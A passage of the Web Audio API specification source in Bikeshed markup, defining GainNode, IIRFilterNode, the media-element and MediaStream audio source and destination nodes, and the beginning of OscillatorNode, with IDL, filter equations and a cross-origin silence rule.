continuous.\n\n\t\tNote: If the <var>knee</var> is 0, the\n\t\t{{DynamicsCompressorNode}} is called a hard-knee compressor.\n\n\t1. This function is linear, based on the <var>ratio</var>, after the\n\t\t<var>threshold</var> and the soft knee (i.e., \\(f(x) =\n\t\t\\frac{1}{ratio} \\cdot x \\)).\n</div>\n\n<div algorithm=\"convert linear to db\">\n\tConverting a value \\(v\\) in <dfn id=\"linear-to-decibel\">linear gain\n\tunit to decibel</dfn> means executing the following steps:\n\n\t1. If \\(v\\) is equal to zero, return -1000.\n\n\t2. Else, return \\( 20 \\, \\log_{10}{v} \\).\n</div>\n\n<div algorithm=\"convert db to linear\">\n\tConverting a value \\(v\\) in <dfn>decibels to\n\tlinear gain unit</dfn> means returning \\(10^{v/20}\\).\n</div>\n\n\n<!--\n ██████      ███    ████ ██    ██ ██    ██  ███████  ████████  ████████\n██    ██    ██ ██    ██  ███   ██ ███   ██ ██     ██ ██     ██ ██\n██         ██   ██   ██  ████  ██ ████  ██ ██     ██ ██     ██ ██\n██   ████ ██     ██  ██  ██ ██ ██ ██ ██ ██ ██     ██ ██     ██ ██████\n██    ██  █████████  ██  ██  ████ ██  ████ ██     ██ ██     ██ ██\n██    ██  ██     ██  ██  ██   ███ ██   ███ ██     ██ ██     ██ ██\n ██████   ██     ██ ████ ██    ██ ██    ██  ███████  ████████  ████████\n-->\n\n<h3 interface lt=\"gainnode\" id=\"GainNode\">\nThe {{GainNode}} Interface</h3>\n\nChanging the gain of an audio signal is a fundamental operation in\naudio applications. This\ninterface is an {{AudioNode}} with a single input and\nsingle output:\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 1\n\tcc: 2\n\tcc-mode: max\n\tcc-interp: speakers\n\ttail-time: No\n</pre>\n\nEach sample of each channel of the input data of the\n{{GainNode}} MUST be multiplied by the\n<a>computedValue</a> of the {{GainNode/gain}} {{AudioParam}}.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface GainNode : AudioNode {\n\tconstructor (BaseAudioContext context, optional GainOptions options = {});\n\treadonly attribute AudioParam gain;\n};\n</pre>\n\n<h4 id=\"GainNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=method dfn-for=\"GainNode/constructor()\">\n\t: <dfn>GainNode(context, options)</dfn>\n\t::\n\n\t\t<pre class=include>\n\t\t\tpath: audionode-init.include\n\t\t</pre>\n\n\t\t<pre class=argumentdef for=\"GainNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{GainNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter values for this {{GainNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"GainNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"GainNode\">\n\t: <dfn>gain</dfn>\n\t::\n\t\tRepresents the amount of gain to apply.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 1\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n</dl>\n\n<h4 dictionary lt=\"gainoptions\" id=\"GainOptions\">\n{{GainOptions}}</h4>\n\nThis specifies options to use in constructing a\n{{GainNode}}. All members are optional; if not\nspecified, the normal defaults are used in constructing the node.\n\n<pre class=\"idl\">\ndictionary GainOptions : AudioNodeOptions {\n\tfloat gain = 1.0;\n};\n</pre>\n\n<h5 id=\"dictionary-gainoptions-members\">\nDictionary {{GainOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"GainOptions\">\n\t: <dfn>gain</dfn>\n\t:: The initial gain value for the {{GainNode/gain}} AudioParam.\n</dl>\n\n\n<!--\n████ ████ ████████  ████████ ████ ██       ████████ ████████ ████████\n ██   ██  ██     ██ ██        ██  ██          ██    ██       ██     ██\n ██   ██  ██     ██ ██        ██  ██          ██    ██       ██     ██\n ██   ██  ████████  ██████    ██  ██          ██    ██████   ████████\n ██   ██  ██   ██   ██        ██  ██          ██    ██       ██   ██\n ██   ██  ██    ██  ██        ██  ██          ██    ██       ██    ██\n████ ████ ██     ██ ██       ████ ████████    ██    ████████ ██     ██\n-->\n\n<h3 interface lt=\"iirfilternode\" id=\"IIRFilterNode\">\nThe {{IIRFilterNode}} Interface</h3>\n\n{{IIRFilterNode}} is an {{AudioNode}}\nprocessor implementing a general <a href=\"https://en.wikipedia.org/wiki/Infinite_impulse_response\">IIR Filter</a>. In general, it is best\nto use {{BiquadFilterNode}}'s to implement\nhigher-order filters for the following reasons:\n\n* Generally less sensitive to numeric issues\n\n* Filter parameters can be automated\n\n* Can be used to create all even-ordered IIR filters\n\nHowever, odd-ordered filters cannot be created, so if such filters\nare needed or automation is not needed, then IIR filters may be\nappropriate.\n\nOnce created, the coefficients of the IIR filter cannot be changed.\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 1\n\tcc: 2\n\tcc-mode: max\n\tcc-interp: speakers\n\ttail-time: Yes\n\ttail-time-notes: Continues to output non-silent audio with zero input. Since this is an IIR filter, the filter produces non-zero input forever, but in practice, this can be limited after some finite time where the output is sufficiently close to zero. The actual time depends on the filter coefficients.\n</pre>\n\nThe number of channels of the output always equals the number of\nchannels of the input.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface IIRFilterNode : AudioNode {\n\tconstructor (BaseAudioContext context, IIRFilterOptions options);\n\tundefined getFrequencyResponse (Float32Array frequencyHz,\n\t                                Float32Array magResponse,\n\t                                Float32Array phaseResponse);\n};\n</pre>\n\n<h4 id=\"IIRFilterNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"IIRFilterNode/constructor()\">\n\t: <dfn>IIRFilterNode(context, options)</dfn>\n\t::\n\n\t\t<pre class=include>\n\t\t\tpath: audionode-init.include\n\t\t</pre>\n\n\t\t<pre class=argumentdef for=\"IIRFilterNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{IIRFilterNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Initial parameter value for this {{IIRFilterNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"IIRFilterNode-methods\">\nMethods</h4>\n\n<dl dfn-type=method dfn-for=\"IIRFilterNode\">\n\t: <dfn>getFrequencyResponse(frequencyHz, magResponse, phaseResponse)</dfn>\n\t::\n\t\t<span class=\"synchronous\">Given the current filter parameter\n\t\tsettings, synchronously calculates the frequency response for the\n\t\tspecified frequencies. The three parameters MUST be\n\t\t{{Float32Array}}s of the same length, or an\n\t\t{{InvalidAccessError}} MUST be thrown.</span>\n\n\t\t<pre class=argumentdef for=\"IIRFilterNode/getFrequencyResponse()\">\n\t\t\tfrequencyHz: This parameter specifies an array of frequencies, in Hz, at which the response values will be calculated.\n\t\t\tmagResponse: This parameter specifies an output array receiving the linear magnitude response values. If a value in the <code>frequencyHz</code> parameter is not within [0, sampleRate/2], where <code>sampleRate</code> is the value of the {{BaseAudioContext/sampleRate}} property of the {{AudioContext}}, the corresponding value at the same index of the <code>magResponse</code> array MUST be <code>NaN</code>.\n\t\t\tphaseResponse: This parameter specifies an output array receiving the phase response values in radians. If a value in the <code>frequencyHz</code> parameter is not within [0; sampleRate/2], where <code>sampleRate</code> is the value of the {{BaseAudioContext/sampleRate}} property of the {{AudioContext}}, the corresponding value at the same index of the <code>phaseResponse</code> array MUST be <code>NaN</code>.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n</dl>\n\n<h4 dictionary lt=\"iirfilteroptions\" id=\"IIRFilterOptions\">\n{{IIRFilterOptions}}</h4>\n\nThe <code>IIRFilterOptions</code> dictionary is used to specify the\nfilter coefficients of the {{IIRFilterNode}}.\n\n<xmp class=\"idl\">\ndictionary IIRFilterOptions : AudioNodeOptions {\n\trequired sequence<double> feedforward;\n\trequired sequence<double> feedback;\n};\n</xmp>\n\n<h5 id=\"dictionary-iirfilteroptions-members\">\nDictionary {{IIRFilterOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"IIRFilterOptions\">\n\t: <dfn>feedforward</dfn>\n\t::\n\t\tThe feedforward coefficients for the\n\t\t{{IIRFilterNode}}. This member is required.  See {{BaseAudioContext/createIIRFilter()/feedforward}} argument of {{BaseAudioContext/createIIRFilter()}} for other constraints.\n\n\t: <dfn>feedback</dfn>\n\t::\n\t\tThe feedback coefficients for the\n\t\t{{IIRFilterNode}}. This member is required.  See {{BaseAudioContext/createIIRFilter()/feedback}} argument of {{BaseAudioContext/createIIRFilter()}} for other constraints.\n</dl>\n\n<h4 id=\"IIRFilterNode-filter-definition\">\nFilter Definition</h4>\n\nLet \\(b_m\\) be the <code>feedforward</code> coefficients and\n\\(a_n\\) be the <code>feedback</code> coefficients specified by\n{{BaseAudioContext/createIIRFilter()}} or the {{IIRFilterOptions}} dictionary for the {{IIRFilterNode/IIRFilterNode()|constructor}}. Then the\ntransfer function of the general IIR filter is given by\n\n<pre nohighlight>\n$$\n\tH(z) = \\frac{\\sum_{m=0}^{M} b_m z^{-m}}{\\sum_{n=0}^{N} a_n z^{-n}}\n$$\n</pre>\n\nwhere \\(M + 1\\) is the length of the \\(b\\) array and \\(N + 1\\) is\nthe length of the \\(a\\) array. The coefficient \\(a_0\\) MUST not be 0 (see {{BaseAudioContext/createIIRFilter()/feedback|feedback parameter}} for {{BaseAudioContext/createIIRFilter()}}).\nAt least one of \\(b_m\\) MUST be non-zero (see {{BaseAudioContext/createIIRFilter()/feedforward|feedforward parameter}} for {{BaseAudioContext/createIIRFilter()}}).\n\nEquivalently, the time-domain equation is:\n\n<pre nohighlight>\n$$\n\t\\sum_{k=0}^{N} a_k y(n-k) = \\sum_{k=0}^{M} b_k x(n-k)\n$$\n</pre>\n\nThe initial filter state is the all-zeroes state.\n\nNote: The UA may produce a warning to notify the user that NaN values have occurred in the filter state.  This is usually indicative of an unstable filter.\n\n\n<!--\n██     ██ ████████ ████████  ████    ███    ████████ ██       ████████ ██     ██ ████████ ██    ██ ████████\n███   ███ ██       ██     ██  ██    ██ ██   ██       ██       ██       ███   ███ ██       ███   ██    ██\n████ ████ ██       ██     ██  ██   ██   ██  ██       ██       ██       ████ ████ ██       ████  ██    ██\n██ ███ ██ ██████   ██     ██  ██  ██     ██ ██████   ██       ██████   ██ ███ ██ ██████   ██ ██ ██    ██\n██     ██ ██       ██     ██  ██  █████████ ██       ██       ██       ██     ██ ██       ██  ████    ██\n██     ██ ██       ██     ██  ██  ██     ██ ██       ██       ██       ██     ██ ██       ██   ███    ██\n██     ██ ████████ ████████  ████ ██     ██ ████████ ████████ ████████ ██     ██ ████████ ██    ██    ██\n-->\n<!--\n   ███    ██     ██ ████████  ████  ███████   ██████   ███████  ██     ██ ████████   ██████  ████████\n  ██ ██   ██     ██ ██     ██  ██  ██     ██ ██    ██ ██     ██ ██     ██ ██     ██ ██    ██ ██\n ██   ██  ██     ██ ██     ██  ██  ██     ██ ██       ██     ██ ██     ██ ██     ██ ██       ██\n██     ██ ██     ██ ██     ██  ██  ██     ██  ██████  ██     ██ ██     ██ ████████  ██       ██████\n█████████ ██     ██ ██     ██  ██  ██     ██       ██ ██     ██ ██     ██ ██   ██   ██       ██\n██     ██ ██     ██ ██     ██  ██  ██     ██ ██    ██ ██     ██ ██     ██ ██    ██  ██    ██ ██\n██     ██  ███████  ████████  ████  ███████   ██████   ███████   ███████  ██     ██  ██████  ████████\n-->\n\n<h3 interface lt=\"mediaelementaudiosourcenode\" id=\"MediaElementAudioSourceNode\">\nThe {{MediaElementAudioSourceNode}} Interface</h3>\n\nThis interface represents an audio source from an <{audio}>\nor <{video}> element.\n\n<pre class=include>\npath: audionode-noinput.include\nmacros:\n\tnoo: 1\n\ttail-time: No\n</pre>\n\nThe number of channels of the output corresponds to the number of\nchannels of the media referenced by the\n{{HTMLMediaElement}}. Thus, changes to the media element's\n<code>src</code> attribute can change the number of channels output\nby this node.\n\nIf the sample rate of the {{HTMLMediaElement}} differs from the sample\nrate of the associated {{AudioContext}}, then the output from the\n{{HTMLMediaElement}} must be resampled to match the context's\n{{BaseAudioContext/sampleRate|sample rate}}.\n\nA {{MediaElementAudioSourceNode}} is created given an\n{{HTMLMediaElement}} using the {{AudioContext}}\n{{createMediaElementSource()}} method or the {{MediaElementAudioSourceOptions/mediaElement}} member of the {{MediaElementAudioSourceOptions}} dictionary for the {{MediaElementAudioSourceNode/MediaElementAudioSourceNode()|constructor}}.\n\nThe number of channels of the single output equals the number of\nchannels of the audio referenced by the {{HTMLMediaElement}}\npassed in as the argument to {{createMediaElementSource()}},\nor is 1 if the {{HTMLMediaElement}} has no audio.\n\nThe {{HTMLMediaElement}} MUST behave in an identical fashion\nafter the {{MediaElementAudioSourceNode}} has been created,\n<em>except</em> that the rendered audio will no longer be heard\ndirectly, but instead will be heard as a consequence of the\n{{MediaElementAudioSourceNode}} being connected through the\nrouting graph. Thus pausing, seeking, volume, <code>src</code>\nattribute changes, and other aspects of the\n{{HTMLMediaElement}} MUST behave as they normally would if\n<em>not</em> used with a {{MediaElementAudioSourceNode}}.\n\n<pre class=\"example\" highlight=\"js\">\n\tconst mediaElement = document.getElementById('mediaElementID');\n\tconst sourceNode = context.createMediaElementSource(mediaElement);\n\tsourceNode.connect(filterNode);\n</pre>\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface MediaElementAudioSourceNode : AudioNode {\n\tconstructor (AudioContext context, MediaElementAudioSourceOptions options);\n\t[SameObject] readonly attribute HTMLMediaElement mediaElement;\n};\n</pre>\n\n<h4 id=\"MediaElementAudioSourceNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"MediaElementAudioSourceNode\">\n\t: <dfn>MediaElementAudioSourceNode(context, options)</dfn>\n\t::\n\t\t1. <a href=\"#audionode-constructor-init\">initialize the AudioNode</a>\n\t\t\t<var>this</var>, with <var>context</var> and <var>options</var> as arguments.\n\n\t\t<pre class=argumentdef for=\"MediaElementAudioSourceNode/constructor()\">\n\t\t\tcontext: The {{AudioContext}} this new {{MediaElementAudioSourceNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Initial parameter value for this {{MediaElementAudioSourceNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"MediaElementAudioSourceNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"MediaElementAudioSourceNode\">\n\t: <dfn>mediaElement</dfn>\n\t::\n\t\tThe {{HTMLMediaElement}} used when constructing this\n\t\t{{MediaElementAudioSourceNode}}.\n</dl>\n\n<h4 dictionary lt=\"mediaelementaudiosourceoptions\" id=\"MediaElementAudioSourceOptions\">\n{{MediaElementAudioSourceOptions}}</h4>\n\nThis specifies the options to use in constructing a\n{{MediaElementAudioSourceNode}}.\n\n<pre class=\"idl\">\ndictionary MediaElementAudioSourceOptions {\n\trequired HTMLMediaElement mediaElement;\n};\n</pre>\n\n<h5 id=\"dictionary-mediaelementaudiosourceoptions-members\">\nDictionary {{MediaElementAudioSourceOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"MediaElementAudioSourceOptions\">\n\t: <dfn>mediaElement</dfn>\n\t:: The media element that will be re-routed. This MUST be specified.\n</dl>\n\n<h4 id=\"MediaElementAudioSourceOptions-security\">\nSecurity with MediaElementAudioSourceNode and Cross-Origin Resources</h4>\n\n{{HTMLMediaElement}} allows the playback of cross-origin\nresources. Because Web Audio allows inspection of the content of\nthe resource (e.g. using a {{MediaElementAudioSourceNode}}, and\nan {{AudioWorkletNode}} or {{ScriptProcessorNode}} to read the samples), information\nleakage can occur if scripts from one [[html#origin|origin]]\ninspect the content of a resource from another\n[[html#origin|origin]].\n\nTo prevent this, a {{MediaElementAudioSourceNode}} MUST output\n<em>silence</em> instead of the normal output of the\n{{HTMLMediaElement}} if it has been created using an\n{{HTMLMediaElement}} for which the execution of the\n<a href=\"https://fetch.spec.whatwg.org/#fetching\">fetch\nalgorithm</a> [[!FETCH]] labeled the resource as\n<a href=\"https://html.spec.whatwg.org/#cors-cross-origin\">CORS-cross-origin</a>.\n\n\n<!-- Big Text: MediaStream -->\n<!-- Big Text: Audio -->\n<!-- Big Text: Destination -->\n\n<h3 interface lt=\"mediastreamaudiodestinationnode\" id=\"MediaStreamAudioDestinationNode\">\nThe {{MediaStreamAudioDestinationNode}} Interface</h3>\n\nThis interface is an audio destination representing a\n{{MediaStream}} with a single {{MediaStreamTrack}}\nwhose <code>kind</code> is <code>\"audio\"</code>. This {{MediaStream}} is\ncreated when the node is created and is accessible via the\n{{MediaStreamAudioDestinationNode/stream}} attribute. This stream can be used in a similar way\nas a {{MediaStream}} obtained via\n{{getUserMedia()}}, and can, for example, be sent to a\nremote peer using the <code>RTCPeerConnection</code> (described in\n[[!webrtc]]) <code>addStream()</code> method.\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 0\n\tcc: 2\n\tcc-mode: explicit\n\tcc-interp: speakers\n\ttail-time: No\n</pre>\n\nThe number of channels of the input is by default 2 (stereo).\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface MediaStreamAudioDestinationNode : AudioNode {\n\tconstructor (AudioContext context, optional AudioNodeOptions options = {});\n\treadonly attribute MediaStream stream;\n};\n</pre>\n\n<h4 id=\"MediaStreamAudioDestinationNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"MediaStreamAudioDestinationNode\">\n\t: <dfn>MediaStreamAudioDestinationNode(context, options)</dfn>\n\t::\n\t\t1. <a href=\"#audionode-constructor-init\">Initialize the AudioNode</a>\n\t\t\t<var>this</var>, with <var>context</var> and <var>options</var> as arguments.\n\n\t\t<pre class=argumentdef for=\"MediaStreamAudioDestinationNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{MediaStreamAudioDestinationNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter value for this {{MediaStreamAudioDestinationNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"MediaStreamAudioDestinationNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"MediaStreamAudioDestinationNode\">\n\t: <dfn>stream</dfn>\n\t::\n\t\tA {{MediaStream}} containing a single {{MediaStreamTrack}} with the same\n\t\tnumber of channels as the node itself, and whose\n\t\t<code>kind</code> attribute has the value <code>\"audio\"</code>.\n</dl>\n\n\n<!-- Big Text: MediaStream -->\n<!-- Big Text: AudioSource -->\n\n<h3 interface lt=\"mediastreamaudiosourcenode\" id=\"MediaStreamAudioSourceNode\">\nThe {{MediaStreamAudioSourceNode}} Interface</h3>\n\nThis interface represents an audio source from a\n{{MediaStream}}.\n\n<pre class=include>\npath: audionode-noinput.include\nmacros:\n\tnoo: 1\n\ttail-time: No\n</pre>\n\nThe number of channels of the output corresponds to the number of channels of\nthe {{MediaStreamTrack}}. When the\n{{MediaStreamTrack}} ends, this\n{{AudioNode}} outputs one channel of silence.\n\nIf the sample rate of the {{MediaStreamTrack}} differs from the sample\nrate of the associated {{AudioContext}}, then the output of the\n{{MediaStreamTrack}} is resampled to match the context's\n{{BaseAudioContext/sampleRate|sample rate}}.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface MediaStreamAudioSourceNode : AudioNode {\n\tconstructor (AudioContext context, MediaStreamAudioSourceOptions options);\n\t[SameObject] readonly attribute MediaStream mediaStream;\n};\n</pre>\n\n<h4 id=\"MediaStreamAudioSourceNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"MediaStreamAudioSourceNode\">\n\t: <dfn>MediaStreamAudioSourceNode(context, options)</dfn>\n\t::\n\t\t\t1. If the {{MediaStreamAudioSourceOptions/mediaStream}} member of\n\t\t\t\t{{MediaStreamAudioSourceNode/constructor(context, options)/options!!argument}} does not reference a\n\t\t\t\t{{MediaStream}} that has at least one\n\t\t\t\t{{MediaStreamTrack}} whose\n\t\t\t\t<code>kind</code> attribute has the value <code>\"audio\"</code>,\n\t\t\t\tthrow an {{InvalidStateError}} and abort these steps. Else, let\n\t\t\t\tthis stream be <var>inputStream</var>.\n\t\t\t1. Let <var>tracks</var> be the list of all\n\t\t\t\t{{MediaStreamTrack}}s of\n\t\t\t\t<var>inputStream</var> that have a <code>kind</code> of\n\t\t\t\t<code>\"audio\"</code>.\n\t\t\t1. Sort the elements in <var>tracks</var> based on their <code>id</code>\n\t\t\t\tattribute using an ordering on sequences of [=code unit=]\n\t\t\t\tvalues.\n\t\t\t1. <a href=\"#audionode-constructor-init\">Initialize the AudioNode</a>\n\t\t\t\t<var>this</var>, with <var>context</var> and <var>options</var> as arguments.\n\t\t\t1. Set an internal slot <dfn attribute\n\t\t\t\tfor=\"MediaStreamAudioSourceNode\">[[input track]]</dfn> on this\n\t\t\t\t{{MediaStreamAudioSourceNode}} to be the first element of\n\t\t\t\t<var>tracks</var>.  This is the track used as the input audio for this\n\t\t\t\t{{MediaStreamAudioSourceNode}}.\n\n\t\t\tAfter construction, any change to the\n\t\t\t{{MediaStream}} that was passed to\n\t\t\tthe constructor do not affect the underlying output of this {{AudioNode}}.\n\n\t\t\tThe slot {{[[input track]]}} is only used to keep a reference to the\n\t\t\t{{MediaStreamTrack}}.\n\n\t\t\tNote: This means that when removing the track chosen by the constructor\n\t\t\tof the {{MediaStreamAudioSourceNode}} from the\n\t\t\t{{MediaStream}} passed into this\n\t\t\tconstructor, the {{MediaStreamAudioSourceNode}} will still take its input\n\t\t\tfrom the same track.\n\n\t\t\tNote: The behaviour for picking the track to output is arbitrary for\n\t\t\tlegacy reasons. {{MediaStreamTrackAudioSourceNode}} can be used\n\t\t\tinstead to be explicit about which track to use as input.\n\n\t\t<pre class=argumentdef for=\"MediaStreamAudioSourceNode/constructor()\">\n\t\t\tcontext: The {{AudioContext}} this new {{MediaStreamAudioSourceNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Initial parameter value for this {{MediaStreamAudioSourceNode}}.\n\t\t</pre>\n\t\t</pre>\n</dl>\n\n<h4 id=\"MediaStreamAudioSourceNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"MediaStreamAudioSourceNode\">\n\t: <dfn>mediaStream</dfn>\n\t:: The {{MediaStream}} used when constructing this {{MediaStreamAudioSourceNode}}.\n</dl>\n\n<h4 dictionary lt=\"mediastreamaudiosourceoptions\" id=\"MediaStreamAudioSourceOptions\">\n{{MediaStreamAudioSourceOptions}}</h4>\n\nThis specifies the options for constructing a {{MediaStreamAudioSourceNode}}.\n\n<pre class=\"idl\">\ndictionary MediaStreamAudioSourceOptions {\n\trequired MediaStream mediaStream;\n};\n</pre>\n\n<h5 id=\"dictionary-mediastreamaudiosourceoptions-members\">\nDictionary {{MediaStreamAudioSourceOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"MediaStreamAudioSourceOptions\">\n\t: <dfn>mediaStream</dfn>\n\t:: The media stream that will act as a source. This MUST be specified.\n</dl>\n\n\n<!-- Big Text: MediaStream -->\n<!-- Big Text: TrackAudio -->\n<!-- Big Text: Source -->\n\n<h3 interface lt=\"mediastreamtrackaudiosourcenode\" id=\"MediaStreamTrackAudioSourceNode\">\nThe {{MediaStreamTrackAudioSourceNode}} Interface</h3>\n\nThis interface represents an audio source from a {{MediaStreamTrack}}.\n\n<pre class=include>\npath: audionode-noinput.include\nmacros:\n\tnoo: 1\n\ttail-time: No\n</pre>\n\nThe number of channels of the output corresponds to the number of\nchannels of the {{MediaStreamTrackAudioSourceOptions/mediaStreamTrack}}.\n\nIf the sample rate of the {{MediaStreamTrack}} differs from the sample\nrate of the associated {{AudioContext}}, then the output of the\n{{MediaStreamTrackAudioSourceOptions/mediaStreamTrack}} is resampled\nto match the context's {{BaseAudioContext/sampleRate|sample rate}}.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface MediaStreamTrackAudioSourceNode : AudioNode {\n\tconstructor (AudioContext context, MediaStreamTrackAudioSourceOptions options);\n};\n</pre>\n\n<h4 id=\"MediaStreamTrackAudioSourceNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"MediaStreamTrackAudioSourceNode\">\n\t: <dfn>MediaStreamTrackAudioSourceNode(context, options)</dfn>\n\t::\n\t\t1. If the {{MediaStreamTrackAudioSourceOptions/mediaStreamTrack}}'s\n\t\t\t<code>kind</code> attribute is not <code>\"audio\"</code>, throw an\n\t\t\t{{InvalidStateError}} and abort these steps.\n\t\t1. <a href=\"#audionode-constructor-init\">Initialize the AudioNode</a>\n\t\t\t<var>this</var>, with <var>context</var> and <var>options</var> as arguments.\n\n\t\t<pre class=argumentdef for=\"MediaStreamTrackAudioSourceNode/constructor()\">\n\t\t\tcontext: The {{AudioContext}} this new {{MediaStreamTrackAudioSourceNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Initial parameter value for this {{MediaStreamTrackAudioSourceNode}}.\n\t\t</pre>\n</dl>\n\n<h4 dictionary lt=\"mediastreamtrackaudiosourceoptions\" id=\"MediaStreamTrackAudioSourceOptions\">\n{{MediaStreamTrackAudioSourceOptions}}</h4>\n\nThis specifies the options for constructing a\n{{MediaStreamTrackAudioSourceNode}}. This is\nrequired.\n\n<pre class=\"idl\">\ndictionary MediaStreamTrackAudioSourceOptions {\n\trequired MediaStreamTrack mediaStreamTrack;\n};\n</pre>\n\n<h5 id=\"dictionary-mediastreamtrackaudiosourceoptions-members\">\nDictionary {{MediaStreamTrackAudioSourceOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"MediaStreamTrackAudioSourceOptions\">\n\t: <dfn>mediaStreamTrack</dfn>\n\t::\n\t\tThe media stream track that will act as a source. <span class=\"synchronous\">If this\n\t\t{{MediaStreamTrack}} <code>kind</code> attribute is\n\t\tnot <code>\"audio\"</code>, an {{InvalidStateError}}\n\t\tMUST be thrown.</span>\n</dl>\n\n\n<!-- Big Text: Oscillator -->\n\n<h3 interface lt=\"oscillatornode\" id=\"OscillatorNode\">\nThe {{OscillatorNode}} Interface</h3>\n\n{{OscillatorNode}} represents an audio source\ngenerating a periodic waveform. It can be set to a few commonly used\nwaveforms. Additionally, it can be set to an arbitrary periodic\nwaveform through the use of a {{PeriodicWave}}\nobject.\n\nOscillators are common foundational building blocks in audio\nsynthesis. An OscillatorNode will start emitting sound at the time\nspecified by the {{AudioScheduledSourceNode/start()}} method.\n\nMathematically speaking, a <em>continuous-time</em> periodic waveform\ncan have very high (or infinitely high) frequency information when\nconsidered in the frequency domain. When this waveform is sampled as\na discrete-time digital audio signal at a particular sample-rate,\nthen care MUST be taken to discard (filter out) the high-frequency\ninformation higher than the <a>Nyquist frequency</a> before\nconverting the waveform to a digital form. If this is not done, then\n<a href=\"https://en.wikipedia.org/wiki/Aliasing\"><em>aliasing</em></a> of higher frequencies (than the <a>Nyquist\nfrequency</a>) will fold back as mirror images into frequencies lower\nthan the <a>Nyquist frequency</a>. In many cases this will cause\naudibly objectionable artifacts. This is a basic and well-understood\nprinciple of audio DSP.\n\nThere are several practical approaches that an implementation may\ntake to avoid this aliasing. Regardless of approach, the\n<em>idealized</em> discrete-time digital audio signal is well defined\nmathematically. The trade-off for the implementation is a matter of\nimplementation cost (in terms of CPU usage) versus fidelity to\nachieving this ideal.\n\nIt is expected that an implementation will take some care in\nachieving this ideal, but it is reasonable to consider lower-quality,\nless-costly approaches on lower-end hardware.\n\nBoth {{OscillatorNode/frequency}} and {{OscillatorNode/detune}} are <a>a-rate</a>\nparameters, and form a <a>compound parameter</a>. They are used\ntogether to determine a <dfn>computedOscFrequency</dfn> value:\n\n<pre>\n\tcomputedOscFrequency(t) = frequency(t) * pow(2, detune(t) / 1200)\n</pre>\n\nThe OscillatorNode's instantaneous phase at each time is the definite\ntime integral of <a>computedOscFrequency</a>, assuming a phase angle\nof zero at the node's exact start time. Its <a>nominal range</a> is\n[-<a>Nyquist frequency</a>, <a>Nyquist frequency</a>].\n\nThe single output of this node consists of one channel (mono).\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 0\n\tnoo: 1\n\tcc: 2\n\tcc-mode: max\n\tcc-interp: speakers\n\ttail-time: No\n</pre>\n\n<pre class=\"idl\">\nenum OscillatorType {\n\t\"sine\",\n\t\"square\",\n\t\"sawtooth\",\n\t\"triangle\",\n\t\"custom\"\n};\n</pre>\n\n<div class=\"enum-description\">\n<table class=\"simple\" dfn-type=enum-value dfn-for=\"OscillatorType\">\n\t<thead>\n\t\t<tr><th scope=\"col\" colspan=\"2\">Enumeration description\n\t<tbody>\n\t\t<tr><td>\"<dfn>sine</dfn>\" <td>A sine wave\n\t\t<tr><td>\"<dfn>square</dfn>\" <td>A square wave of duty period 0.5\n\t\t<tr><td>\"<dfn>sawtooth</dfn>\" <td>A sawtooth wave\n\t\t<tr><td>\"<dfn>triangle</dfn>\" <td>A triangle wave\n\t\t<tr><td>\"<dfn>custom</dfn>\" <td>A custom periodic wave\n</table>\n</div>\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface OscillatorNode : AudioScheduledSourceNode {\n\tconstructor (BaseAudioContext context, optional OscillatorOptions options = {});\n\tattribute OscillatorType type;\n\treadonly attribute AudioParam frequency;\n\treadonly attribute AudioParam detune;\n\tundefined setPeriodicWave (PeriodicWave periodicWave);\n};\n</pre>\n\n<h4 id=\"OscillatorNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"OscillatorNode\">\n\t: 